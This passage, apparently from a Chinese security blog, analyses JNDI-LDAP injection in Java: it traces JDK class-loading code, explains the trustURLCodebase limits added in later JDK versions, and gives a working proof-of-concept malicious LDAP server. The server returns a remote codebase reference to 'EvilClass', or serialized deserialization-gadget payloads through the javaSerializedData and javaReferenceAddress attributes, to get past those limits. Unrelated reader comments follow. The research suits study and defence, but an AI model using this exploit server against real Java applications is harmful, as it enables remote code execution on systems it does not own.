            }

            // try using any specified factories
            answer = createObjectFromFactories(refInfo, name, nameCtx,
                                               environment, attrs);
            return (answer != null) ? answer : refInfo;

    }

getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类Exp名字,接着调用getObjectFactoryFromReference方法根据工厂类Exp名字获取远程调用对象。

getObjectFactoryFromReference方法实现如下:

    static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,InstantiationException, MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             //尝试先在本地加载Exp类
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        //获取远程地址
        if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                //loadClass方法远程加载Exp类
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {

            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

ldap_low6.png
可以看到LDAP服务跟jndi一样,会尝试先在本地查找加载Exp类,如果本地没有找到Exp类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类,通过分析发现LDAP服务的整个利用流程都没有URLCodebase限制。
看一下整个调用站栈
ldap_low7.png

高版本运行

限制

jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,通过分析在jdk8u191版本发现,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebasefalse就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。
ldap_low8.png

在高版本 JDK 中需要通过 com.sun.jndi.ldap.object.trustURLCodebase 选项去启用。这个限制在 JDK 11.0.18u1917u2016u211 版本时加入,略晚于 RMI 的远程加载限制。

使用序列化数据,触发Gadget

触发点一:com.sun.jndi.ldap.Obj.java#decodeObject存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断
这里提到 com.sun.jndi.ldap.Obj.java#decodeObject 主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。之前讲到Reference对象,现在讲一下传来的是序列化的对象这种情况。
如果是序列化对象会调用deserializeObject方法
serialize1.png
进入deserializeObject方法,发现会进行readObject
serialize2.png
看一下调用栈
serialize3.png

Poc

import com.alter.JNDI_LDAP.util.serializeObject;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


import static com.alter.JNDI_LDAP.util.serializeObject.getPayload;
import static com.alter.JNDI_LDAP.util.serializeObject.serializeObject;

public class Ldap {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8000/#EvilClass", "1389"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {

            //jdk8u191之后
            e.addAttribute("javaClassName", "foo");
            //getObject获取Gadget

            e.addAttribute("javaSerializedData", serializeObject(getPayload()));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

和低版本JDK运行的Server端代码差不多,就把sendResult处的代码改成能触发反序列化漏洞的利用链就可以

触发点二:com.sun.jndi.ldap.Obj.java#decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着我们通过满足RefAddress的方式,也可以达到上面第一种的效果。
需满足以下条件:
1.第一个字符为分隔符
2.第一个分隔符与第二个分隔符之间,表示Referenceposition,为int类型
3.第二个分隔符与第三个分隔符之间,表示type,类型
4.第三个分隔符是双分隔符的形式,则进入反序列化的操作
5.序列化数据用base64编码
payload如下

//方式二
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serializeObject(getPayload())));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

serialize4.png

serialize5.png

serialize6.png
触发点二只是一个锦上添花的步骤,我们可以直接用第一种方法,第二种在第一种不能用的情况下可以试试。

总结

  • JDK 5U456U457u218u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  • JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  • JDK 11.0.18u1917u2016u211 开始 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。
但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase的限制。

所以,JNDI-RMI注入方式有: * codebase(JDK 6u1327u1228u113之前可以) * 利用本地Class Factory作为Reference Factory

JNDI-LDAP注入方式: * codebase(JDK 11.0.18u1917u2016u211之前可以) * serialize(两个切入点)

另外,测试代码报readtime out错误的话可能是本机Socket开了代理,关了就好。

Reference

https://evilpan.com/2021/12/13/jndi-injection/
https://blog.csdn.net/weixin_45682070/article/details/122622236
https://blog.csdn.net/qq_35733751/article/details/118767640
https://www.anquanke.com/post/id/201181

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A

altEr

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最新评论

J

JANlittle

hxd这是哪个分区赛的题呀,方不方便放个附件?

PuPp1T.

好的 再去搜集一些资料大概一两周左右补上 太感谢师傅指点啦

NorthShad0w

不是很全可能你找的资料太老了,有空可以补一补 sekurlsa 少了 clou

gxh191

谢谢大佬,我转web了

C

CDxiaodong

学到了 感谢大佬

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